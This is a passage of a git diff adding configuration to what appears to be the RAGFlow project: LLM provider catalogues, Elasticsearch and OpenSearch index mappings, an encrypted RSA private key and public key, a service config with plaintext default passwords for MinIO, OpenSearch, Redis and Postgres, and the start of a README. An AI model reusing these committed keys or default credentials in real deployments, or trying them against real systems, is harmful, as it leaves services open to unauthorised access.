+ ]
+ },
+ {
+ "name": "CometAPI",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,IMAGE2TEXT",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "gpt-5-chat-latest",
+ "tags": "LLM,CHAT,400k",
+ "max_tokens": 400000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "chatgpt-4o-latest",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-5-mini",
+ "tags": "LLM,CHAT,400k",
+ "max_tokens": 400000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-5-nano",
+ "tags": "LLM,CHAT,400k",
+ "max_tokens": 400000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-5",
+ "tags": "LLM,CHAT,400k",
+ "max_tokens": 400000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4.1-mini",
+ "tags": "LLM,CHAT,1M",
+ "max_tokens": 1047576,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4.1-nano",
+ "tags": "LLM,CHAT,1M",
+ "max_tokens": 1047576,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4.1",
+ "tags": "LLM,CHAT,1M",
+ "max_tokens": 1047576,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4o-mini",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "o4-mini-2025-04-16",
+ "tags": "LLM,CHAT,200k",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "o3-pro-2025-06-10",
+ "tags": "LLM,CHAT,200k",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-opus-4-1-20250805",
+ "tags": "LLM,CHAT,200k,IMAGE2TEXT",
+ "max_tokens": 200000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-opus-4-1-20250805-thinking",
+ "tags": "LLM,CHAT,200k,IMAGE2TEXT",
+ "max_tokens": 200000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-sonnet-4-20250514",
+ "tags": "LLM,CHAT,200k,IMAGE2TEXT",
+ "max_tokens": 200000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-sonnet-4-20250514-thinking",
+ "tags": "LLM,CHAT,200k,IMAGE2TEXT",
+ "max_tokens": 200000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-3-7-sonnet-latest",
+ "tags": "LLM,CHAT,200k",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-3-5-haiku-latest",
+ "tags": "LLM,CHAT,200k",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.5-pro",
+ "tags": "LLM,CHAT,1M,IMAGE2TEXT",
+ "max_tokens": 1000000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.5-flash",
+ "tags": "LLM,CHAT,1M,IMAGE2TEXT",
+ "max_tokens": 1000000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.5-flash-lite",
+ "tags": "LLM,CHAT,1M,IMAGE2TEXT",
+ "max_tokens": 1000000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.0-flash",
+ "tags": "LLM,CHAT,1M,IMAGE2TEXT",
+ "max_tokens": 1000000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-4-0709",
+ "tags": "LLM,CHAT,131k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-3",
+ "tags": "LLM,CHAT,131k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-3-mini",
+ "tags": "LLM,CHAT,131k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-2-image-1212",
+ "tags": "LLM,CHAT,32k,IMAGE2TEXT",
+ "max_tokens": 32768,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-v3.1",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-v3",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-r1-0528",
+ "tags": "LLM,CHAT,164k",
+ "max_tokens": 164000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-chat",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-reasoner",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-30b-a3b",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-coder-plus-2025-07-22",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "text-embedding-ada-002",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8191,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "text-embedding-3-small",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8191,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "text-embedding-3-large",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8191,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "whisper-1",
+ "tags": "SPEECH2TEXT",
+ "max_tokens": 26214400,
+ "model_type": "speech2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "tts-1",
+ "tags": "TTS",
+ "max_tokens": 2048,
+ "model_type": "tts",
+ "is_tools": false
+ }
+ ]
+ },
+ {
+ "name": "Meituan",
+ "logo": "",
+ "tags": "LLM",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "LongCat-Flash-Chat",
+ "tags": "LLM,CHAT,8000",
+ "max_tokens": 8000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "LongCat-Flash-Thinking",
+ "tags": "LLM,CHAT,8000",
+ "max_tokens": 8000,
+ "model_type": "chat",
+ "is_tools": true
+ }
+ ]
+ },
+ {
+ "name": "DeerAPI",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,IMAGE2TEXT",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "gpt-5-chat-latest",
+ "tags": "LLM,CHAT,400k",
+ "max_tokens": 400000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "chatgpt-4o-latest",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-5-mini",
+ "tags": "LLM,CHAT,400k",
+ "max_tokens": 400000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-5-nano",
+ "tags": "LLM,CHAT,400k",
+ "max_tokens": 400000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-5",
+ "tags": "LLM,CHAT,400k",
+ "max_tokens": 400000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4.1-mini",
+ "tags": "LLM,CHAT,1M",
+ "max_tokens": 1047576,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4.1-nano",
+ "tags": "LLM,CHAT,1M",
+ "max_tokens": 1047576,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4.1",
+ "tags": "LLM,CHAT,1M",
+ "max_tokens": 1047576,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gpt-4o-mini",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "o4-mini-2025-04-16",
+ "tags": "LLM,CHAT,200k",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "o3-pro-2025-06-10",
+ "tags": "LLM,CHAT,200k",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-opus-4-1-20250805",
+ "tags": "LLM,CHAT,200k,IMAGE2TEXT",
+ "max_tokens": 200000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-opus-4-1-20250805-thinking",
+ "tags": "LLM,CHAT,200k,IMAGE2TEXT",
+ "max_tokens": 200000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-sonnet-4-20250514",
+ "tags": "LLM,CHAT,200k,IMAGE2TEXT",
+ "max_tokens": 200000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-sonnet-4-20250514-thinking",
+ "tags": "LLM,CHAT,200k,IMAGE2TEXT",
+ "max_tokens": 200000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-3-7-sonnet-latest",
+ "tags": "LLM,CHAT,200k",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "claude-3-5-haiku-latest",
+ "tags": "LLM,CHAT,200k",
+ "max_tokens": 200000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.5-pro",
+ "tags": "LLM,CHAT,1M,IMAGE2TEXT",
+ "max_tokens": 1000000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.5-flash",
+ "tags": "LLM,CHAT,1M,IMAGE2TEXT",
+ "max_tokens": 1000000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.5-flash-lite",
+ "tags": "LLM,CHAT,1M,IMAGE2TEXT",
+ "max_tokens": 1000000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemini-2.0-flash",
+ "tags": "LLM,CHAT,1M,IMAGE2TEXT",
+ "max_tokens": 1000000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-4-0709",
+ "tags": "LLM,CHAT,131k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-3",
+ "tags": "LLM,CHAT,131k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-3-mini",
+ "tags": "LLM,CHAT,131k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "grok-2-image-1212",
+ "tags": "LLM,CHAT,32k,IMAGE2TEXT",
+ "max_tokens": 32768,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-v3.1",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-v3",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-r1-0528",
+ "tags": "LLM,CHAT,164k",
+ "max_tokens": 164000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-chat",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-reasoner",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-30b-a3b",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen3-coder-plus-2025-07-22",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "text-embedding-ada-002",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8191,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "text-embedding-3-small",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8191,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "text-embedding-3-large",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8191,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "whisper-1",
+ "tags": "SPEECH2TEXT",
+ "max_tokens": 26214400,
+ "model_type": "speech2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "tts-1",
+ "tags": "TTS",
+ "max_tokens": 2048,
+ "model_type": "tts",
+ "is_tools": false
+ }
+ ]
+ }
+ ]
+}
\ No newline at end of file
diff --git a/conf/mapping.json b/conf/mapping.json
new file mode 100644
index 0000000..f32acb0
--- /dev/null
+++ b/conf/mapping.json
@@ -0,0 +1,212 @@
+{
+ "settings": {
+ "index": {
+ "number_of_shards": 2,
+ "number_of_replicas": 0,
+ "refresh_interval": "1000ms"
+ },
+ "similarity": {
+ "scripted_sim": {
+ "type": "scripted",
+ "script": {
+ "source": "double idf = Math.log(1+(field.docCount-term.docFreq+0.5)/(term.docFreq + 0.5))/Math.log(1+((field.docCount-0.5)/1.5)); return query.boost * idf * Math.min(doc.freq, 1);"
+ }
+ }
+ }
+ },
+ "mappings": {
+ "properties": {
+ "lat_lon": {
+ "type": "geo_point",
+ "store": "true"
+ }
+ },
+ "date_detection": "true",
+ "dynamic_templates": [
+ {
+ "int": {
+ "match": "*_int",
+ "mapping": {
+ "type": "integer",
+ "store": "true"
+ }
+ }
+ },
+ {
+ "ulong": {
+ "match": "*_ulong",
+ "mapping": {
+ "type": "unsigned_long",
+ "store": "true"
+ }
+ }
+ },
+ {
+ "long": {
+ "match": "*_long",
+ "mapping": {
+ "type": "long",
+ "store": "true"
+ }
+ }
+ },
+ {
+ "short": {
+ "match": "*_short",
+ "mapping": {
+ "type": "short",
+ "store": "true"
+ }
+ }
+ },
+ {
+ "numeric": {
+ "match": "*_flt",
+ "mapping": {
+ "type": "float",
+ "store": true
+ }
+ }
+ },
+ {
+ "tks": {
+ "match": "*_tks",
+ "mapping": {
+ "type": "text",
+ "similarity": "scripted_sim",
+ "analyzer": "whitespace",
+ "store": true
+ }
+ }
+ },
+ {
+ "ltks": {
+ "match": "*_ltks",
+ "mapping": {
+ "type": "text",
+ "analyzer": "whitespace",
+ "store": true
+ }
+ }
+ },
+ {
+ "kwd": {
+ "match_pattern": "regex",
+ "match": "^(.*_(kwd|id|ids|uid|uids)|uid)$",
+ "mapping": {
+ "type": "keyword",
+ "similarity": "boolean",
+ "store": true
+ }
+ }
+ },
+ {
+ "dt": {
+ "match_pattern": "regex",
+ "match": "^.*(_dt|_time|_at)$",
+ "mapping": {
+ "type": "date",
+ "format": "yyyy-MM-dd HH:mm:ss||yyyy-MM-dd||yyyy-MM-dd_HH:mm:ss",
+ "store": true
+ }
+ }
+ },
+ {
+ "nested": {
+ "match": "*_nst",
+ "mapping": {
+ "type": "nested"
+ }
+ }
+ },
+ {
+ "object": {
+ "match": "*_obj",
+ "mapping": {
+ "type": "object",
+ "dynamic": "true"
+ }
+ }
+ },
+ {
+ "string": {
+ "match_pattern": "regex",
+ "match": "^.*_(with_weight|list)$",
+ "mapping": {
+ "type": "text",
+ "index": "false",
+ "store": true
+ }
+ }
+ },
+ {
+ "rank_feature": {
+ "match": "*_fea",
+ "mapping": {
+ "type": "rank_feature"
+ }
+ }
+ },
+ {
+ "rank_features": {
+ "match": "*_feas",
+ "mapping": {
+ "type": "rank_features"
+ }
+ }
+ },
+ {
+ "dense_vector": {
+ "match": "*_512_vec",
+ "mapping": {
+ "type": "dense_vector",
+ "index": true,
+ "similarity": "cosine",
+ "dims": 512
+ }
+ }
+ },
+ {
+ "dense_vector": {
+ "match": "*_768_vec",
+ "mapping": {
+ "type": "dense_vector",
+ "index": true,
+ "similarity": "cosine",
+ "dims": 768
+ }
+ }
+ },
+ {
+ "dense_vector": {
+ "match": "*_1024_vec",
+ "mapping": {
+ "type": "dense_vector",
+ "index": true,
+ "similarity": "cosine",
+ "dims": 1024
+ }
+ }
+ },
+ {
+ "dense_vector": {
+ "match": "*_1536_vec",
+ "mapping": {
+ "type": "dense_vector",
+ "index": true,
+ "similarity": "cosine",
+ "dims": 1536
+ }
+ }
+ },
+ {
+ "binary": {
+ "match": "*_bin",
+ "mapping": {
+ "type": "binary"
+ }
+ }
+ }
+ ]
+ }
+}
\ No newline at end of file
diff --git a/conf/os_mapping.json b/conf/os_mapping.json
new file mode 100644
index 0000000..a8663e0
--- /dev/null
+++ b/conf/os_mapping.json
@@ -0,0 +1,213 @@
+{
+ "settings": {
+ "index": {
+ "number_of_shards": 2,
+ "number_of_replicas": 0,
+ "refresh_interval": "1000ms",
+ "knn": true,
+ "similarity": {
+ "scripted_sim": {
+ "type": "scripted",
+ "script": {
+ "source": "double idf = Math.log(1+(field.docCount-term.docFreq+0.5)/(term.docFreq + 0.5))/Math.log(1+((field.docCount-0.5)/1.5)); return query.boost * idf * Math.min(doc.freq, 1);"
+ }
+ }
+ }
+ }
+ },
+ "mappings": {
+ "properties": {
+ "lat_lon": {
+ "type": "geo_point",
+ "store": "true"
+ }
+ },
+ "date_detection": "true",
+ "dynamic_templates": [
+ {
+ "int": {
+ "match": "*_int",
+ "mapping": {
+ "type": "integer",
+ "store": "true"
+ }
+ }
+ },
+ {
+ "ulong": {
+ "match": "*_ulong",
+ "mapping": {
+ "type": "unsigned_long",
+ "store": "true"
+ }
+ }
+ },
+ {
+ "long": {
+ "match": "*_long",
+ "mapping": {
+ "type": "long",
+ "store": "true"
+ }
+ }
+ },
+ {
+ "short": {
+ "match": "*_short",
+ "mapping": {
+ "type": "short",
+ "store": "true"
+ }
+ }
+ },
+ {
+ "numeric": {
+ "match": "*_flt",
+ "mapping": {
+ "type": "float",
+ "store": true
+ }
+ }
+ },
+ {
+ "tks": {
+ "match": "*_tks",
+ "mapping": {
+ "type": "text",
+ "similarity": "scripted_sim",
+ "analyzer": "whitespace",
+ "store": true
+ }
+ }
+ },
+ {
+ "ltks": {
+ "match": "*_ltks",
+ "mapping": {
+ "type": "text",
+ "analyzer": "whitespace",
+ "store": true
+ }
+ }
+ },
+ {
+ "kwd": {
+ "match_pattern": "regex",
+ "match": "^(.*_(kwd|id|ids|uid|uids)|uid)$",
+ "mapping": {
+ "type": "keyword",
+ "similarity": "boolean",
+ "store": true
+ }
+ }
+ },
+ {
+ "dt": {
+ "match_pattern": "regex",
+ "match": "^.*(_dt|_time|_at)$",
+ "mapping": {
+ "type": "date",
+ "format": "yyyy-MM-dd HH:mm:ss||yyyy-MM-dd||yyyy-MM-dd_HH:mm:ss",
+ "store": true
+ }
+ }
+ },
+ {
+ "nested": {
+ "match": "*_nst",
+ "mapping": {
+ "type": "nested"
+ }
+ }
+ },
+ {
+ "object": {
+ "match": "*_obj",
+ "mapping": {
+ "type": "object",
+ "dynamic": "true"
+ }
+ }
+ },
+ {
+ "string": {
+ "match_pattern": "regex",
+ "match": "^.*_(with_weight|list)$",
+ "mapping": {
+ "type": "text",
+ "index": "false",
+ "store": true
+ }
+ }
+ },
+ {
+ "rank_feature": {
+ "match": "*_fea",
+ "mapping": {
+ "type": "rank_feature"
+ }
+ }
+ },
+ {
+ "rank_features": {
+ "match": "*_feas",
+ "mapping": {
+ "type": "rank_features"
+ }
+ }
+ },
+ {
+ "knn_vector": {
+ "match": "*_512_vec",
+ "mapping": {
+ "type": "knn_vector",
+ "index": true,
+ "space_type": "cosinesimil",
+ "dimension": 512
+ }
+ }
+ },
+ {
+ "knn_vector": {
+ "match": "*_768_vec",
+ "mapping": {
+ "type": "knn_vector",
+ "index": true,
+ "space_type": "cosinesimil",
+ "dimension": 768
+ }
+ }
+ },
+ {
+ "knn_vector": {
+ "match": "*_1024_vec",
+ "mapping": {
+ "type": "knn_vector",
+ "index": true,
+ "space_type": "cosinesimil",
+ "dimension": 1024
+ }
+ }
+ },
+ {
+ "knn_vector": {
+ "match": "*_1536_vec",
+ "mapping": {
+ "type": "knn_vector",
+ "index": true,
+ "space_type": "cosinesimil",
+ "dimension": 1536
+ }
+ }
+ },
+ {
+ "binary": {
+ "match": "*_bin",
+ "mapping": {
+ "type": "binary"
+ }
+ }
+ }
+ ]
+ }
+}
\ No newline at end of file
diff --git a/conf/private.pem b/conf/private.pem
new file mode 100644
index 0000000..ff33305
--- /dev/null
+++ b/conf/private.pem
@@ -0,0 +1,30 @@
+-----BEGIN RSA PRIVATE KEY-----
+Proc-Type: 4,ENCRYPTED
+DEK-Info: DES-EDE3-CBC,EFF8327C41E531AD
+
+7jdPFDAA6fiTzOIU7XGzKuT324JKZEcK5vBRJqBkA5XO6ENN1wLdhh3zQbl1Ejfv
+KMSUIgbtQEJB4bvOzS//okbZa1vCNYuTS/NGcpKUnhqdOmAL3hl/kOtOLLjTZrwo
+3KX8iujLH7wQ64GxArtpUuaFq1k0whN1BB5RGJp3IO/L6pMpSWVRKO+JPUrD1Ujr
+XA/LUKQJaZtXVUVOYPtIwbyqPsh93QBetJnRwwV3gNOwGpcX2jDpyTxDUkLJCPPg
+6Hw0pwlQEd8A11sjxCBbASwLeJO1L0w69QiX9chyOkZ+sfDsVpPt/wf1NexA7Cdj
+9uifJ4JGbby39QD6mInZGtnRzQRdafjuXlBR2I0Qa7fBRu8QsfhmLbWZfWno7j08
+4bAAoqB1vRNfSu8LVJXdEEh/HKuwu11pgRr5eH8WQ3hJg+Y2k7zDHpp1VaHL7/Kn
+S+aN5bhQ4Xt0Ujdi1+rsmNchnF6LWsDezHWJeWUM6X7dJnqIBl8oCyghbghT8Tyw
+aEKWXc2+7FsP5yd0NfG3PFYOLdLgfI43pHTAv5PEQ47w9r1XOwfblKKBUDEzaput
+T3t5wQ6wxdyhRxeO4arCHfe/i+j3fzvhlwgbuwrmrkWGWSS86eMTaoGM8+uUrHv0
+6TbU0tj6DKKUslVk1dCHh9TnmNsXZuLJkceZF38PSKNxhzudU8OTtzhS0tFL91HX
+vo7N+XdiGMs8oOSpjE6RPlhFhVAKGJpXwBj/vXLLcmzesA7ZB2kYtFKMIdsUQpls
+PE/4K5PEX2d8pxA5zxo0HleA1YjW8i5WEcDQThZQzj2sWvg06zSjenVFrbCm9Bro
+hFpAB/3zJHxdRN2MpNpvK35WITy1aDUdX1WdyrlcRtIE5ssFTSoxSj9ibbDZ78+z
+gtbw/MUi6vU6Yz1EjvoYu/bmZAHt9Aagcxw6k58fjO2cEB9njK7xbbiZUSwpJhEe
+U/PxK+SdOU/MmGKeqdgqSfhJkq0vhacvsEjFGRAfivSCHkL0UjhObU+rSJ3g1RMO
+oukAev6TOAwbTKVWjg3/EX+pl/zorAgaPNYFX64TSH4lE3VjeWApITb9Z5C/sVxR
+xW6hU9qyjzWYWY+91y16nkw1l7VQvWHUZwV7QzTScC2BOzDVpeqY1KiYJxgoo6sX
+ZCqR5oh4vToG4W8ZrRyauwUaZJ3r+zhAgm+6n6TJQNwFEl0muji+1nPl32EiFsRs
+qR6CtuhUOVQM4VnILDwFJfuGYRFtKzQgvseLNU4ZqAVqQj8l4ARGAP2P1Au/uUKy
+oGzI7a+b5MvRHuvkxPAclOgXgX/8yyOLaBg+mgaqv9h2JIJD28PzouFl3BajRaVB
+7GWTnROJYhX5SuX/g585SLRKoQUtK0WhdJCjTRfyRJPwfdppgdTbWO99R4G+ir02
+JQdSkZf2vmZRXenPNTEPDOUY6nVN6sUuBjmtOwoUF194ODgpYB6IaHqK08sa1pUh
+1mZyxitHdPbygePTe20XWMZFoK2knAqN0JPPbbNjCqiVV+7oqQAnkDIutspu9t2m
+ny3jefFmNozbblQMghLUrq+x9wOEgvS76Sqvq3DG/2BkLzJF3MNkvw==
+-----END RSA PRIVATE KEY-----
diff --git a/conf/public.pem b/conf/public.pem
new file mode 100644
index 0000000..3fbcfe1
--- /dev/null
+++ b/conf/public.pem
@@ -0,0 +1,9 @@
+-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArq9XTUSeYr2+N1h3Afl/
+z8Dse/2yD0ZGrKwx+EEEcdsBLca9Ynmx3nIB5obmLlSfmskLpBo0UACBmB5rEjBp
+2Q2f3AG3Hjd4B+gNCG6BDaawuDlgANIhGnaTLrIqWrrcm4EMzJOnAOI1fgzJRsOO
+UEfaS318Eq9OVO3apEyCCt0lOQK6PuksduOjVxtltDav+guVAA068NrPYmRNabVK
+RNLJpL8w4D44sfth5RvZ3q9t+6RTArpEtc5sh5ChzvqPOzKGMXW83C95TxmXqpbK
+6olN4RevSfVjEAgCydH6HN6OhtOQEcnrU97r9H0iZOWwbw3pVrZiUkuRD1R56Wzs
+2wIDAQAB
+-----END PUBLIC KEY-----
diff --git a/conf/service_conf.yaml b/conf/service_conf.yaml
new file mode 100644
index 0000000..2b60500
--- /dev/null
+++ b/conf/service_conf.yaml
@@ -0,0 +1,113 @@
+ragflow:
+ host: 0.0.0.0
+ http_port: 9380
+admin:
+ host: 0.0.0.0
+ http_port: 9381
+minio:
+ user: 'rag_flow'
+ password: 'infini_rag_flow'
+ host: 'localhost:9000'
+os:
+ hosts: 'http://localhost:1201'
+ username: 'admin'
+ password: 'infini_rag_flow_OS_01'
+redis:
+ db: 1
+ password: 'infini_rag_flow'
+ host: 'localhost:6379'
+postgres:
+ name: 'rag_flow'
+ user: 'rag_flow'
+ password: 'infini_rag_flow'
+ host: 'localhost'
+ port: 5432
+ max_connections: 100
+ stale_timeout: 30
+# s3:
+# access_key: 'access_key'
+# secret_key: 'secret_key'
+# region: 'region'
+# oss:
+# access_key: 'access_key'
+# secret_key: 'secret_key'
+# endpoint_url: 'http://oss-cn-hangzhou.aliyuncs.com'
+# region: 'cn-hangzhou'
+# bucket: 'bucket_name'
+# azure:
+# auth_type: 'sas'
+# container_url: 'container_url'
+# sas_token: 'sas_token'
+# azure:
+# auth_type: 'spn'
+# account_url: 'account_url'
+# client_id: 'client_id'
+# secret: 'secret'
+# tenant_id: 'tenant_id'
+# container_name: 'container_name'
+# The OSS object storage uses the MySQL configuration above by default. If you need to switch to another object storage service, please uncomment and configure the following parameters.
+# opendal:
+# scheme: 'mysql' # Storage type, such as s3, oss, azure, etc.
+# config:
+# oss_table: 'opendal_storage'
+# user_default_llm:
+# factory: 'BAAI'
+# api_key: 'backup'
+# base_url: 'backup_base_url'
+# default_models:
+# chat_model:
+# name: 'qwen2.5-7b-instruct'
+# factory: 'xxxx'
+# api_key: 'xxxx'
+# base_url: 'https://api.xx.com'
+# embedding_model:
+# name: 'bge-m3'
+# rerank_model: 'bge-reranker-v2'
+# asr_model:
+# model: 'whisper-large-v3' # alias of name
+# image2text_model: ''
+# oauth:
+# oauth2:
+# display_name: "OAuth2"
+# client_id: "your_client_id"
+# client_secret: "your_client_secret"
+# authorization_url: "https://your-oauth-provider.com/oauth/authorize"
+# token_url: "https://your-oauth-provider.com/oauth/token"
+# userinfo_url: "https://your-oauth-provider.com/oauth/userinfo"
+# redirect_uri: "https://your-app.com/v1/user/oauth/callback/oauth2"
+# oidc:
+# display_name: "OIDC"
+# client_id: "your_client_id"
+# client_secret: "your_client_secret"
+# issuer: "https://your-oauth-provider.com/oidc"
+# scope: "openid email profile"
+# redirect_uri: "https://your-app.com/v1/user/oauth/callback/oidc"
+# github:
+# type: "github"
+# icon: "github"
+# display_name: "Github"
+# client_id: "your_client_id"
+# client_secret: "your_client_secret"
+# redirect_uri: "https://your-app.com/v1/user/oauth/callback/github"
+# authentication:
+# client:
+# switch: false
+# http_app_key:
+# http_secret_key:
+# site:
+# switch: false
+# permission:
+# switch: false
+# component: false
+# dataset: false
+# smtp:
+# mail_server: ""
+# mail_port: 465
+# mail_use_ssl: true
+# mail_use_tls: false
+# mail_username: ""
+# mail_password: ""
+# mail_default_sender:
+# - "RAGFlow" # display name
+# - "" # sender email address
+# mail_frontend_url: "https://your-frontend.example.com"
diff --git a/deepdoc/README.md b/deepdoc/README.md
new file mode 100644
index 0000000..14c7947
--- /dev/null
+++ b/deepdoc/README.md
@@ -0,0 +1,122 @@
+English | [简体中文](./README_zh.md)
+
+# *Deep*Doc
+
+- [1. Introduction](#1)
+- [2. Vision](#2)
+- [3. Parser](#3)
+
+
+## 1. Introduction
+
+With a bunch of documents from various domains with various formats and along with diverse retrieval requirements,
+an accurate analysis becomes a very challenge task. *Deep*Doc is born for that purpose.
+There are 2 parts in *Deep*Doc so far: vision and parser.
+You can run the flowing test programs if you're interested in our results of OCR, layout recognition and TSR.
+```bash
